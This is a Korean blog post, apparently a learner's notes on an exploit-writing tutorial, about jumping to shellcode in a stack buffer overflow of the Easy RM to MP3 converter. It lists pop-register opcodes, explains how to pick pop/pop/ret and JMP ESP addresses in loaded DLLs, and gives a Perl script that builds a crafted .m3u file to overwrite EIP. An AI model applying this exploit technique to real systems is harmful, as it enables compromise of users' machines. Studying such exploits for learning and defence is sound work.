[exploit writing] 2_쉘코드로 점프 (4)

우선, 우리가 알아야 할 것은 pop/pop/ret 을 하기 위한 기계어다. 이 기계어들을 얻기 위해 ollydbg에서 제공하는 어셈블링 기능을 사용할 것이다. 우선 Easy RM to MP3 프로그램에 attach 한 뒤, 2번째 칸의 숫자들이 어셈블리에 대한 기계어들이다.


ollydbg에서는 컨트롤 + f 를 눌러 확인해야하지만, 밑에 그냥 표로 만들어져 있는 것을 보는 것이 낫다.

POP register 기계어

pop eax    58
pop ebx    5b
pop ecx    59
pop edx    5a
pop esi     5e
pop ebp   5d

이제 우리는 사용 가능한 DLL 중 하나에서 이러한 순서 덩어리를 찾아야 한다. 전에 했던 스택 기반 오버플로우에서 애플리케이션 DLLOS DLL에 대해 언급했다.

윈도우 플랫폼과 버전에 범용으로 적용될 수 있는 공격 코드를 작성하기 위해 애플리케이션 자체의 DLL을 사용할 것을 추천한다고 말했다.

하지만, 아무리 애플리케이션 자체 DLL이 성공 확률을 높여 준다 하더라도, 매번 수행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 때때로, DLL들은 위치가 재조정 되기도 하므로 이러한 상황에서는 OS DLL 중 하나를 사용하는 것이 더 좋을 수도 있다.
(예를 들어 user32.dll 또는 kernel32.dll).

지난 장에서 했던 것처럼 우선 Easy RM to MP3 파일을 실행 시키고, windbg로 attach를 해 보자. attach를 하면 windbg는 로드 된 애플리케이션 또는 OS 모듈들을 보여 줄 것이다. 다음과 같이 dll의 목록이 나오는데, 앞 장에서 했던 것처럼 애플리케이션 dll을 찾아보자.
(dll 찾는 것은 ollydbg로 아직 할 줄 모른다 ...ㅜ)


가운데를 보면 easy rm to converter 디렉토리의 dll 파일들을 볼 수 있다. 우리가 공격 코드에 활용할 수 있는 여러 dll이 있다. 여기서 주의해야 할 사항은 null 바이트를 포함하는 주소를 사용해서는 안 된다는 것이다.

우리가 원하는 기계어(58 5d c3)를 찾기 위해 우선 MSRMcodec00.dll을 자세히 살펴보도록 하자. ESP+8로 점프를 할 수 있는 여건이 마련 되었다. 우리는 해당 기계어가 존재하는 위치에 'JMP ESP'를 삽입해야 한다. 첫 번째 문서에서, 우리는 0x7c836A78가 JMP ESP를 참조한다는 것을 찾아냈다.

다시 스크립트 파일로 돌아가서 EIP를 덮어썼던 'BBBB' 를 제거하고 대신에 8 바이트의 NOP에 이어지는 pop/pop/ret 주소 중 하나로 대체하자. 그렇게 되면 JMP ESP 가 실행되고, 궁극적으로 우리의 쉘코드로 프로그램의 흐름이 이동된다. 스크립트를 다음과 같이 수정한다.

my $file= "test1.m3u";
my $junk= "A" x 26064;
my $eip = pack('V',0x01966a10); # MSRMcodec00.dll 내부의 pop/pop/ret 위치
my $jmpesp = pack('V',0x7c836A78); # JMP ESP
my $prependesp = "XXXX"; # ESP가 쉘코드의 시작을 가리키도록
my $shellcode = "\x90" x 8; # NOP 8 바이트 채워 넣음
$shellcode = $shellcode . $jmpesp;
$shellcode = $shellcode . "\xcc" . "\x90" x 500; # 진짜 쉘코드
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

공격코드 개요도와 작동원리
/*숫자는 시스템마다 차이가 있을 수 있음
문서의 A 갯수와 나의 A 갯수가 다름*/

**-------------------------------------------------------------**
ret instruction의 이해를 돕고자 쉽게 설명하자면,
pop eip + jmp eip 라고 할 수 있다. 스택의 최상위에 있는 값을 꺼내서 eip에 넣고 해당 주소로 가서 코드를 진행하는 것.
**-------------------------------------------------------------**

댓글

이 블로그의 인기 게시물

윈도우 설치에서 파티션 설정 오류(NTFS)

[exploit writing] 1_스택 기반 오버플로우 (1) First

하둡 설치 오류 정리